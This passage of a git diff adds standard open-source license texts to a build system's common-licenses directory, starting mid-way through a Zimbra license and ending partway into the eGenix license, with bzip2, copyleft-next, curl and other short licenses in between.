+ 1.4 - For the Software or any Modification You distribute in compiled or object code format, You must also provide recipients with access to the Software or Modification in source code format along with a complete copy of this Agreement. The distribution of the Software or Modifications in compiled or object code format may be under a license of Your choice, provided that You are in compliance with the terms of this Agreement. In addition, You must make absolutely clear that any license terms applying to such Software or Modification that differ from this Agreement are offered by You alone and not by Zimbra, and that such license does not restrict recipients from exercising rights in the source code to the Software granted by Zimbra under this Agreement or rights in the source code to any Modification granted by You as described in Section 1.3.
+
+ 1.5 - This Agreement does not limit Your right to distribute files that are entirely Your own work (i.e., which do not incorporate any portion of the Software and are not Modifications) under any terms You choose.
+
+2. Support
+Zimbra has no obligation to provide technical support or updates to You. Nothing in this Agreement requires Zimbra to enter into any license with You for any other edition of the Software.
+
+3. Intellectual Property Rights
+
+ 3.1 - Except for the license expressly granted under copyright in Section 1.1, no rights, licenses or forbearances are granted or may arise in relation to this Agreement whether expressly, by implication, exhaustion, estoppel or otherwise. All rights, including all intellectual property rights, that are not expressly granted under this Agreement are hereby reserved.
+
+ 3.2 - In any copy of the Software or in any Modification you create, You must retain and reproduce any and all copyright, patent, trademark, and attribution notices that are included in the Software in the same form as they appear in the Software. This includes the preservation of attribution notices in the form of trademarks or logos that exist within a user interface of the Software.
+
+ 3.3 - This license does not grant You rights to use any party’s name, logo, or trademarks, except solely as necessary to comply with Section 3.2.
+
+4. Disclaimer of Warranties
+THE SOFTWARE IS PROVIDED “AS IS” AND WITHOUT WARRANTY OF ANY KIND. ZIMBRA MAKES NO WARRANTIES, WHETHER EXPRESS, IMPLIED, OR STATUTORY, REGARDING OR RELATING TO THE SOFTWARE. SPECIFICALLY, ZIMBRA DOES NOT WARRANT THAT THE SOFTWARE WILL BE ERROR FREE OR WILL PERFORM IN AN UNINTERRUPTED MANNER. TO THE GREATEST EXTENT ALLOWED BY LAW, ZIMBRA SPECIFICALLY DISCLAIMS ALL IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE (EVEN IF ZIMBRA HAD BEEN INFORMED OF SUCH PURPOSE), AND NONINFRINGEMENT WITH RESPECT TO THE SOFTWARE, ANY MODIFICATIONS THERETO, AND WITH RESPECT TO THE USE OF THE FOREGOING.
+
+5. Limitation of Liability
+IN NO EVENT WILL ZIMBRA BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES OF ANY KIND (INCLUDING WITHOUT LIMITATION LOSS OF PROFITS, LOSS OF USE, BUSINESS INTERRUPTION, LOSS OF DATA, AND COST OF COVER) IN CONNECTION WITH OR ARISING OUT OF OR RELATING TO THE FURNISHING, PERFORMANCE, OR USE OF THE SOFTWARE OR ANY OTHER RIGHTS GRANTED HEREUNDER, WHETHER ALLEGED AS A BREACH OF CONTRACT OR TORTIOUS CONDUCT, INCLUDING NEGLIGENCE, AND EVEN IF ZIMBRA HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
+
+6. Term and Termination
+
+ 6.1 - This Agreement will continue in effect unless and until terminated earlier pursuant to this Section 6.
+
+ 6.2 - In the event You violate the terms of this Agreement, Zimbra may terminate this Agreement.
+
+ 6.3 - All licenses granted hereunder shall terminate upon the termination of this Agreement. Termination will be in addition to any rights and remedies available to Zimbra at law or equity or under this Agreement.
+
+ 6.4 - Termination of this Agreement will not affect the provisions regarding reservation of rights (Section 3.1), provisions disclaiming or limiting Zimbra’s liability (Sections 4 and 5), Termination (Section 6), or Miscellaneous (Section 7), which provisions will survive termination of this Agreement.
+
+7. Miscellaneous
+This Agreement contains the entire agreement of the parties with respect to the subject matter of this Agreement and supersedes all previous communications, representations, understandings, and agreements, either oral or written, between the parties with respect to said subject matter. The relationship of the parties hereunder is that of independent contractors, and this Agreement will not be construed as creating an agency, partnership, joint venture, or any other form of legal association between the parties. If any term, condition, or provision in this Agreement is found to be invalid, unlawful, or unenforceable to any extent, this Agreement will be construed in a manner that most closely effectuates the intent of this Agreement. Such invalid term, condition or provision will be severed from the remaining terms, conditions, and provisions, which will continue to be valid and enforceable to the fullest extent permitted by law. This Agreement will be interpreted and construed in accordance with the laws of the State of Delaware and the United States of America, without regard to conflict of law principles. The U.N. Convention on Contracts for the International Sale of Goods shall not apply to this Agreement. All disputes arising out of this Agreement involving Zimbra or any of its parents or subsidiaries shall be subject to the jurisdiction of the federal or state courts of Northern Texas, with venue lying in Dallas County, Texas. No rights may be assigned, no obligations may be delegated, and this Agreement may not be transferred by You, in whole or in part, whether voluntary or by operation of law, including by way of sale of assets, merger, or consolidation, without the prior written consent of Zimbra, and any purported assignment, delegation, or transfer without such consent shall be void ab initio. Any waiver of the provisions of this Agreement or of a party’s rights or remedies under this Agreement must be in writing to be effective. Failure, neglect, or delay by a party to enforce the provisions of this Agreement or its rights or remedies at any time will not be construed or be deemed to be a waiver of such party’s rights under this Agreement and will not in any way affect the validity of the whole or any part of this Agreement or prejudice such party’s right to take subsequent action.
diff --git a/meta/files/common-licenses/blessing b/meta/files/common-licenses/blessing
new file mode 100644
index 0000000000..7a1b711a6b
--- /dev/null
+++ b/meta/files/common-licenses/blessing
@@ -0,0 +1,5 @@
+The author disclaims copyright to this source code. In place of a legal notice, here is a blessing:
+
+May you do good and not evil.
+May you find forgiveness for yourself and forgive others.
+May you share freely, never taking more than you give.
diff --git a/meta/files/common-licenses/bzip2-1.0.4 b/meta/files/common-licenses/bzip2-1.0.4
new file mode 100644
index 0000000000..4458e35bb5
--- /dev/null
+++ b/meta/files/common-licenses/bzip2-1.0.4
@@ -0,0 +1,43 @@
+
+--------------------------------------------------------------------------
+
+This program, "bzip2", the associated library "libbzip2", and all
+documentation, are copyright (C) 1996-2006 Julian R Seward. All
+rights reserved.
+
+Redistribution and use in source and binary forms, with or without
+modification, are permitted provided that the following conditions
+are met:
+
+1. Redistributions of source code must retain the above copyright
+ notice, this list of conditions and the following disclaimer.
+
+2. The origin of this software must not be misrepresented; you must
+ not claim that you wrote the original software. If you use this
+ software in a product, an acknowledgment in the product
+ documentation would be appreciated but is not required.
+
+3. Altered source versions must be plainly marked as such, and must
+ not be misrepresented as being the original software.
+
+4. The name of the author may not be used to endorse or promote
+ products derived from this software without specific prior written
+ permission.
+
+THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS
+OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY
+DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE
+GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
+WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
+NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
+SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+Julian Seward, Cambridge, UK.
+jseward@bzip.org
+bzip2/libbzip2 version 1.0.4 of 20 December 2006
+
+--------------------------------------------------------------------------
diff --git a/meta/files/common-licenses/bzip2-1.0.5 b/meta/files/common-licenses/bzip2-1.0.5
new file mode 100644
index 0000000000..a6957df123
--- /dev/null
+++ b/meta/files/common-licenses/bzip2-1.0.5
@@ -0,0 +1,18 @@
+Version 1.0.5 of 10 December 2007
+
+Copyright © 1996-2007 Julian Seward
+
+This program, bzip2, the associated library libbzip2, and all documentation, are copyright © 1996-2007 Julian Seward. All rights reserved.
+
+Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
+
+ • Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
+
+ • The origin of this software must not be misrepresented; you must not claim that you wrote the original software. If you use this software in a product, an acknowledgment in the product documentation would be appreciated but is not required.
+
+ • Altered source versions must be plainly marked as such, and must not be misrepresented as being the original software.
+
+ • The name of the author may not be used to endorse or promote products derived from this software without specific prior written permission.
+
+THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+PATENTS: To the best of my knowledge, bzip2 and libbzip2 do not use any patented algorithms. However, I do not have the resources to carry out a patent search. Therefore I cannot give any guarantee of the above statement.
diff --git a/meta/files/common-licenses/bzip2 b/meta/files/common-licenses/bzip2-1.0.6
index 8ec599dc3b..8ec599dc3b 100644
--- a/meta/files/common-licenses/bzip2
+++ b/meta/files/common-licenses/bzip2-1.0.6
diff --git a/meta/files/common-licenses/copyleft-next-0.3.0 b/meta/files/common-licenses/copyleft-next-0.3.0
new file mode 100644
index 0000000000..a66d5bf5ee
--- /dev/null
+++ b/meta/files/common-licenses/copyleft-next-0.3.0
@@ -0,0 +1,219 @@
+ copyleft-next 0.3.0 ("this License")
+ Release date: 2013-05-16
+
+1. License Grants; No Trademark License
+
+ Subject to the terms of this License, I grant You:
+
+ a) A non-exclusive, worldwide, perpetual, royalty-free, irrevocable
+ copyright license, to reproduce, Distribute, prepare derivative works
+ of, publicly perform and publicly display My Work.
+
+ b) A non-exclusive, worldwide, perpetual, royalty-free, irrevocable
+ patent license under Licensed Patents to make, have made, use, sell,
+ offer for sale, and import Covered Works.
+
+ This License does not grant any rights in My name, trademarks, service
+ marks, or logos.
+
+2. Distribution: General Conditions
+
+ You may Distribute Covered Works, provided that You (i) inform
+ recipients how they can obtain a copy of this License; (ii) satisfy the
+ applicable conditions of sections 3 through 6; and (iii) preserve all
+ Legal Notices contained in My Work (to the extent they remain
+ pertinent). "Legal Notices" means copyright notices, license notices,
+ license texts, and author attributions, but does not include logos,
+ other graphical images, trademarks or trademark legends.
+
+3. Conditions for Distributing Derived Works; Outbound GPL Compatibility
+
+ If You Distribute a Derived Work, You must license the entire Derived
+ Work as a whole under this License, with prominent notice of such
+ licensing. This condition may not be avoided through such means as
+ separate Distribution of portions of the Derived Work. You may
+ additionally license the Derived Work under the GPL, so that the
+ recipient may further Distribute the Derived Work under either this
+ License or the GPL.
+
+4. Condition Against Further Restrictions; Inbound License Compatibility
+
+ When Distributing a Covered Work, You may not impose further
+ restrictions on the exercise of rights in the Covered Work granted under
+ this License. This condition is not excused merely because such
+ restrictions result from Your compliance with conditions or obligations
+ extrinsic to this License (such as a court order or an agreement with a
+ third party).
+
+ However, You may Distribute a Covered Work incorporating material
+ governed by a license that is both OSI-Approved and FSF-Free as of the
+ release date of this License, provided that Your Distribution complies
+ with such other license.
+
+5. Conditions for Distributing Object Code
+
+ You may Distribute an Object Code form of a Covered Work, provided that
+ you accompany the Object Code with a URL through which the Corresponding
+ Source is made available, at no charge, by some standard or customary
+ means of providing network access to source code.
+
+ If you Distribute the Object Code in a physical product or tangible
+ storage medium ("Product"), the Corresponding Source must be available
+ through such URL for two years from the date of Your most recent
+ Distribution of the Object Code in the Product. However, if the Product
+ itself contains or is accompanied by the Corresponding Source (made
+ available in a customarily accessible manner), You need not also comply
+ with the first paragraph of this section.
+
+ Each recipient of the Covered Work from You is an intended third-party
+ beneficiary of this License solely as to this section 5, with the right
+ to enforce its terms.
+
+6. Symmetrical Licensing Condition for Upstream Contributions
+
+ If You Distribute a work to Me specifically for inclusion in or
+ modification of a Covered Work (a "Patch"), and no explicit licensing
+ terms apply to the Patch, You license the Patch under this License, to
+ the extent of Your copyright in the Patch. This condition does not
+ negate the other conditions of this License, if applicable to the Patch.
+
+7. Nullification of Copyleft/Proprietary Dual Licensing
+
+ If I offer to license, for a fee, a Covered Work under terms other than
+ a license that is OSI-Approved or FSF-Free as of the release date of this
+ License or a numbered version of copyleft-next released by the
+ Copyleft-Next Project, then the license I grant You under section 1 is no
+ longer subject to the conditions in sections 2 through 5.
+
+8. Copyleft Sunset
+
+ The conditions in sections 2 through 5 no longer apply once fifteen
+ years have elapsed from the date of My first Distribution of My Work
+ under this License.
+
+9. Pass-Through
+
+ When You Distribute a Covered Work, the recipient automatically receives
+ a license to My Work from Me, subject to the terms of this License.
+
+10. Termination
+
+ Your license grants under section 1 are automatically terminated if You
+
+ a) fail to comply with the conditions of this License, unless You cure
+ such noncompliance within thirty days after becoming aware of it, or
+
+ b) initiate a patent infringement litigation claim (excluding
+ declaratory judgment actions, counterclaims, and cross-claims)
+ alleging that any part of My Work directly or indirectly infringes
+ any patent.
+
+ Termination of Your license grants extends to all copies of Covered
+ Works You subsequently obtain. Termination does not terminate the
+ rights of those who have received copies or rights from You subject to
+ this License.
+
+ To the extent permission to make copies of a Covered Work is necessary
+ merely for running it, such permission is not terminable.
+
+11. Later License Versions
+
+ The Copyleft-Next Project may release new versions of copyleft-next,
+ designated by a distinguishing version number ("Later Versions").
+ Unless I explicitly remove the option of Distributing Covered Works
+ under Later Versions, You may Distribute Covered Works under any Later
+ Version.
+
+** 12. No Warranty **
+** **
+** My Work is provided "as-is", without warranty. You bear the risk **
+** of using it. To the extent permitted by applicable law, each **
+** Distributor of My Work excludes the implied warranties of title, **
+** merchantability, fitness for a particular purpose and **
+** non-infringement. **
+
+** 13. Limitation of Liability **
+** **
+** To the extent permitted by applicable law, in no event will any **
+** Distributor of My Work be liable to You for any damages **
+** whatsoever, whether direct, indirect, special, incidental, or **
+** consequential damages, whether arising under contract, tort **
+** (including negligence), or otherwise, even where the Distributor **
+** knew or should have known about the possibility of such damages. **
+
+14. Severability
+
+ The invalidity or unenforceability of any provision of this License
+ does not affect the validity or enforceability of the remainder of
+ this License. Such provision is to be reformed to the minimum extent
+ necessary to make it valid and enforceable.
+
+15. Definitions
+
+ "Copyleft-Next Project" means the project that maintains the source
+ code repository at <https://gitorious.org/copyleft-next/> as of the
+ release date of this License.
+
+ "Corresponding Source" of a Covered Work in Object Code form means (i)
+ the Source Code form of the Covered Work; (ii) all scripts,
+ instructions and similar information that are reasonably necessary for
+ a skilled developer to generate such Object Code from the Source Code
+ provided under (i); and (iii) a list clearly identifying all Separate
+ Works (other than those provided in compliance with (ii)) that were
+ specifically used in building and (if applicable) installing the
+ Covered Work (for example, a specified proprietary compiler including
+ its version number). Corresponding Source must be machine-readable.
+
+ "Covered Work" means My Work or a Derived Work.
+
+ "Derived Work" means a work of authorship that copies from, modifies,
+ adapts, is based on, is a derivative work of, transforms, translates or
+ contains all or part of My Work, such that copyright permission is
+ required. The following are not Derived Works: (i) Mere Aggregation;
+ (ii) a mere reproduction of My Work; and (iii) if My Work fails to
+ explicitly state an expectation otherwise, a work that merely makes
+ reference to My Work.
+
+ "Distribute" means to distribute, transfer or make a copy available to
+ someone else, such that copyright permission is required.
+
+ "Distributor" means Me and anyone else who Distributes a Covered Work.
+
+ "FSF-Free" means classified as 'free' by the Free Software Foundation.
+
+ "GPL" means a version of the GNU General Public License or the GNU
+ Affero General Public License.
+
+ "I"/"Me"/"My" refers to the individual or legal entity that places My
+ Work under this License. "You"/"Your" refers to the individual or legal
+ entity exercising rights in My Work under this License. A legal entity
+ includes each entity that controls, is controlled by, or is under
+ common control with such legal entity. "Control" means (a) the power to
+ direct the actions of such legal entity, whether by contract or
+ otherwise, or (b) ownership of more than fifty percent of the
+ outstanding shares or beneficial ownership of such legal entity.
+
+ "Licensed Patents" means all patent claims licensable royalty-free by
+ Me, now or in the future, that are necessarily infringed by making,
+ using, or selling My Work, and excludes claims that would be infringed
+ only as a consequence of further modification of My Work.
+
+ "Mere Aggregation" means an aggregation of a Covered Work with a
+ Separate Work.
+
+ "My Work" means the particular work of authorship I license to You
+ under this License.
+
+ "Object Code" means any form of a work that is not Source Code.
+
+ "OSI-Approved" means approved as 'Open Source' by the Open Source
+ Initiative.
+
+ "Separate Work" means a work that is separate from and independent of a
+ particular Covered Work and is not by its nature an extension or
+ enhancement of the Covered Work, and/or a runtime library, standard
+ library or similar component that is used to generate an Object Code
+ form of a Covered Work.
+
+ "Source Code" means the preferred form of a work for making
+ modifications to it.
diff --git a/meta/files/common-licenses/copyleft-next-0.3.1 b/meta/files/common-licenses/copyleft-next-0.3.1
new file mode 100644
index 0000000000..21c87270fc
--- /dev/null
+++ b/meta/files/common-licenses/copyleft-next-0.3.1
@@ -0,0 +1,220 @@
+ copyleft-next 0.3.1 ("this License")
+ Release date: 2016-04-29
+
+1. License Grants; No Trademark License
+
+ Subject to the terms of this License, I grant You:
+
+ a) A non-exclusive, worldwide, perpetual, royalty-free, irrevocable
+ copyright license, to reproduce, Distribute, prepare derivative works
+ of, publicly perform and publicly display My Work.
+
+ b) A non-exclusive, worldwide, perpetual, royalty-free, irrevocable
+ patent license under Licensed Patents to make, have made, use, sell,
+ offer for sale, and import Covered Works.
+
+ This License does not grant any rights in My name, trademarks, service
+ marks, or logos.
+
+2. Distribution: General Conditions
+
+ You may Distribute Covered Works, provided that You (i) inform
+ recipients how they can obtain a copy of this License; (ii) satisfy the
+ applicable conditions of sections 3 through 6; and (iii) preserve all
+ Legal Notices contained in My Work (to the extent they remain
+ pertinent). "Legal Notices" means copyright notices, license notices,
+ license texts, and author attributions, but does not include logos,
+ other graphical images, trademarks or trademark legends.
+
+3. Conditions for Distributing Derived Works; Outbound GPL Compatibility
+
+ If You Distribute a Derived Work, You must license the entire Derived
+ Work as a whole under this License, with prominent notice of such
+ licensing. This condition may not be avoided through such means as
+ separate Distribution of portions of the Derived Work.
+
+ If the Derived Work includes material licensed under the GPL, You may
+ instead license the Derived Work under the GPL.
+
+4. Condition Against Further Restrictions; Inbound License Compatibility
+
+ When Distributing a Covered Work, You may not impose further
+ restrictions on the exercise of rights in the Covered Work granted under
+ this License. This condition is not excused merely because such
+ restrictions result from Your compliance with conditions or obligations
+ extrinsic to this License (such as a court order or an agreement with a
+ third party).
+
+ However, You may Distribute a Covered Work incorporating material
+ governed by a license that is both OSI-Approved and FSF-Free as of the
+ release date of this License, provided that compliance with such
+ other license would not conflict with any conditions stated in other
+ sections of this License.
+
+5. Conditions for Distributing Object Code
+
+ You may Distribute an Object Code form of a Covered Work, provided that
+ you accompany the Object Code with a URL through which the Corresponding
+ Source is made available, at no charge, by some standard or customary
+ means of providing network access to source code.
+
+ If you Distribute the Object Code in a physical product or tangible
+ storage medium ("Product"), the Corresponding Source must be available
+ through such URL for two years from the date of Your most recent
+ Distribution of the Object Code in the Product. However, if the Product
+ itself contains or is accompanied by the Corresponding Source (made
+ available in a customarily accessible manner), You need not also comply
+ with the first paragraph of this section.
+
+ Each direct and indirect recipient of the Covered Work from You is an
+ intended third-party beneficiary of this License solely as to this
+ section 5, with the right to enforce its terms.
+
+6. Symmetrical Licensing Condition for Upstream Contributions
+
+ If You Distribute a work to Me specifically for inclusion in or
+ modification of a Covered Work (a "Patch"), and no explicit licensing
+ terms apply to the Patch, You license the Patch under this License, to
+ the extent of Your copyright in the Patch. This condition does not
+ negate the other conditions of this License, if applicable to the Patch.
+
+7. Nullification of Copyleft/Proprietary Dual Licensing
+
+ If I offer to license, for a fee, a Covered Work under terms other than
+ a license that is OSI-Approved or FSF-Free as of the release date of this
+ License or a numbered version of copyleft-next released by the
+ Copyleft-Next Project, then the license I grant You under section 1 is no
+ longer subject to the conditions in sections 3 through 5.
+
+8. Copyleft Sunset
+
+ The conditions in sections 3 through 5 no longer apply once fifteen
+ years have elapsed from the date of My first Distribution of My Work
+ under this License.
+
+9. Pass-Through
+
+ When You Distribute a Covered Work, the recipient automatically receives
+ a license to My Work from Me, subject to the terms of this License.
+
+10. Termination
+
+ Your license grants under section 1 are automatically terminated if You
+
+ a) fail to comply with the conditions of this License, unless You cure
+ such noncompliance within thirty days after becoming aware of it, or
+
+ b) initiate a patent infringement litigation claim (excluding
+ declaratory judgment actions, counterclaims, and cross-claims)
+ alleging that any part of My Work directly or indirectly infringes
+ any patent.
+
+ Termination of Your license grants extends to all copies of Covered
+ Works You subsequently obtain. Termination does not terminate the
+ rights of those who have received copies or rights from You subject to
+ this License.
+
+ To the extent permission to make copies of a Covered Work is necessary
+ merely for running it, such permission is not terminable.
+
+11. Later License Versions
+
+ The Copyleft-Next Project may release new versions of copyleft-next,
+ designated by a distinguishing version number ("Later Versions").
+ Unless I explicitly remove the option of Distributing Covered Works
+ under Later Versions, You may Distribute Covered Works under any Later
+ Version.
+
+** 12. No Warranty **
+** **
+** My Work is provided "as-is", without warranty. You bear the risk **
+** of using it. To the extent permitted by applicable law, each **
+** Distributor of My Work excludes the implied warranties of title, **
+** merchantability, fitness for a particular purpose and **
+** non-infringement. **
+
+** 13. Limitation of Liability **
+** **
+** To the extent permitted by applicable law, in no event will any **
+** Distributor of My Work be liable to You for any damages **
+** whatsoever, whether direct, indirect, special, incidental, or **
+** consequential damages, whether arising under contract, tort **
+** (including negligence), or otherwise, even where the Distributor **
+** knew or should have known about the possibility of such damages. **
+
+14. Severability
+
+ The invalidity or unenforceability of any provision of this License
+ does not affect the validity or enforceability of the remainder of
+ this License. Such provision is to be reformed to the minimum extent
+ necessary to make it valid and enforceable.
+
+15. Definitions
+
+ "Copyleft-Next Project" means the project that maintains the source
+ code repository at <https://github.com/copyleft-next/copyleft-next.git/>
+ as of the release date of this License.
+
+ "Corresponding Source" of a Covered Work in Object Code form means (i)
+ the Source Code form of the Covered Work; (ii) all scripts,
+ instructions and similar information that are reasonably necessary for
+ a skilled developer to generate such Object Code from the Source Code
+ provided under (i); and (iii) a list clearly identifying all Separate
+ Works (other than those provided in compliance with (ii)) that were
+ specifically used in building and (if applicable) installing the
+ Covered Work (for example, a specified proprietary compiler including
+ its version number). Corresponding Source must be machine-readable.
+
+ "Covered Work" means My Work or a Derived Work.
+
+ "Derived Work" means a work of authorship that copies from, modifies,
+ adapts, is based on, is a derivative work of, transforms, translates or
+ contains all or part of My Work, such that copyright permission is
+ required. The following are not Derived Works: (i) Mere Aggregation;
+ (ii) a mere reproduction of My Work; and (iii) if My Work fails to
+ explicitly state an expectation otherwise, a work that merely makes
+ reference to My Work.
+
+ "Distribute" means to distribute, transfer or make a copy available to
+ someone else, such that copyright permission is required.
+
+ "Distributor" means Me and anyone else who Distributes a Covered Work.
+
+ "FSF-Free" means classified as 'free' by the Free Software Foundation.
+
+ "GPL" means a version of the GNU General Public License or the GNU
+ Affero General Public License.
+
+ "I"/"Me"/"My" refers to the individual or legal entity that places My
+ Work under this License. "You"/"Your" refers to the individual or legal
+ entity exercising rights in My Work under this License. A legal entity
+ includes each entity that controls, is controlled by, or is under
+ common control with such legal entity. "Control" means (a) the power to
+ direct the actions of such legal entity, whether by contract or
+ otherwise, or (b) ownership of more than fifty percent of the
+ outstanding shares or beneficial ownership of such legal entity.
+
+ "Licensed Patents" means all patent claims licensable royalty-free by
+ Me, now or in the future, that are necessarily infringed by making,
+ using, or selling My Work, and excludes claims that would be infringed
+ only as a consequence of further modification of My Work.
+
+ "Mere Aggregation" means an aggregation of a Covered Work with a
+ Separate Work.
+
+ "My Work" means the particular work of authorship I license to You
+ under this License.
+
+ "Object Code" means any form of a work that is not Source Code.
+
+ "OSI-Approved" means approved as 'Open Source' by the Open Source
+ Initiative.
+
+ "Separate Work" means a work that is separate from and independent of a
+ particular Covered Work and is not by its nature an extension or
+ enhancement of the Covered Work, and/or a runtime library, standard
+ library or similar component that is used to generate an Object Code
+ form of a Covered Work.
+
+ "Source Code" means the preferred form of a work for making
+ modifications to it.
diff --git a/meta/files/common-licenses/curl b/meta/files/common-licenses/curl
new file mode 100644
index 0000000000..dd333ab2e4
--- /dev/null
+++ b/meta/files/common-licenses/curl
@@ -0,0 +1,10 @@
+COPYRIGHT AND PERMISSION NOTICE
+
+Copyright (c) 1996 - 2015, Daniel Stenberg, <daniel@haxx.se>.
+All rights reserved.
+
+Permission to use, copy, modify, and distribute this software for any purpose with or without fee is hereby granted, provided that the above copyright notice and this permission notice appear in all copies.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF THIRD PARTY RIGHTS. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+
+Except as contained in this notice, the name of a copyright holder shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Software without prior written authorization of the copyright holder.
diff --git a/meta/files/common-licenses/diffmark b/meta/files/common-licenses/diffmark
new file mode 100644
index 0000000000..02d3b5013d
--- /dev/null
+++ b/meta/files/common-licenses/diffmark
@@ -0,0 +1,2 @@
+1. you can do what you want with it
+2. I refuse any responsibility for the consequences
diff --git a/meta/files/common-licenses/dvipdfm b/meta/files/common-licenses/dvipdfm
new file mode 100644
index 0000000000..b73cb48e47
--- /dev/null
+++ b/meta/files/common-licenses/dvipdfm
@@ -0,0 +1 @@
+A modified version of this file may be distributed, but it should be distributed with a *different* name. Changed files must be distributed *together with a complete and unchanged* distribution of these files.
diff --git a/meta/files/common-licenses/eGenix b/meta/files/common-licenses/eGenix
new file mode 100644
index 0000000000..9b4d30128a
--- /dev/null
+++ b/meta/files/common-licenses/eGenix
@@ -0,0 +1,40 @@
+EGENIX.COM PUBLIC LICENSE AGREEMENT
+Version 1.1.0
+
+This license agreement is based on the Python CNRI License Agreement, a widely accepted open- source license.
+
+1. Introduction
+This "License Agreement" is between eGenix.com Software, Skills and Services GmbH ("eGenix.com"), having an office at Pastor-Loeh-Str. 48, D-40764 Langenfeld, Germany, and the Individual or Organization ("Licensee") accessing and otherwise using this software in source or binary form and its associated documentation ("the Software").
+
+2. License
+Subject to the terms and conditions of this eGenix.com Public License Agreement, eGenix.com hereby grants Licensee a non-exclusive, royalty-free, world-wide license to reproduce, analyze, test, perform and/or display publicly, prepare derivative works, distribute, and otherwise use the Software alone or in any derivative version, provided, however, that the eGenix.com Public License Agreement is retained in the Software, or in any derivative version of the Software prepared by Licensee.
+
+3. NO WARRANTY
+eGenix.com is making the Software available to Licensee on an "AS IS" basis. SUBJECT TO ANY STATUTORY WARRANTIES WHICH CAN NOT BE EXCLUDED, EGENIX.COM MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, EGENIX.COM MAKES NO AND DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF THE SOFTWARE WILL NOT INFRINGE ANY THIRD PARTY RIGHTS.
+
+4. LIMITATION OF LIABILITY
+EGENIX.COM SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF THE SOFTWARE FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS (INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF BUSINESS PROFITS, BUSINESS INTERRUPTION, LOSS OF BUSINESS INFORMATION, OR OTHER PECUNIARY LOSS) AS A RESULT OF USING, MODIFYING OR DISTRIBUTING THE SOFTWARE, OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF. SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OR LIMITATION OF INCIDENTAL OR CONSEQUENTIAL DAMAGES, SO THE ABOVE EXCLUSION OR LIMITATION MAY NOT APPLY TO LICENSEE.
+
+5. Termination
+This License Agreement will automatically terminate upon a material breach of its terms and conditions.
+
+6. Third Party Rights
+Any software or documentation in source or binary form provided along with the Software that is associated with a separate license agreement is licensed to Licensee under the terms of that license agreement. This License Agreement does not apply to those portions of the Software. Copies of the third party licenses are included in the Software Distribution.
+
+7. General
+Nothing in this License Agreement affects any statutory rights of consumers that cannot be waived or limited by contract.
+
+Nothing in this License Agreement shall be deemed to create any relationship of agency, partnership, or joint venture between eGenix.com and Licensee.
+
+If any provision of this License Agreement shall be unlawful, void, or for any reason unenforceable, such provision shall be modified to the extent necessary to render it enforceable without losing its intent, or, if no such modification is possible, be severed from this License Agreement and shall not affect the validity and enforceability of the remaining provisions of this License Agreement.
+
+This License Agreement shall be governed by and interpreted in all respects by the law of Germany, excluding conflict of law provisions. It shall not be governed by the United Nations Convention on Contracts for International Sale of Goods. This License Agreement does not grant permission to use eGenix.com trademarks or trade names in a trademark sense to endorse or promote products or services of Licensee, or any third party.
+
+The controlling language of this License Agreement is English. If Licensee has received a translation into another language, it has been provided for Licensee's convenience only.
+
+8. Agreement
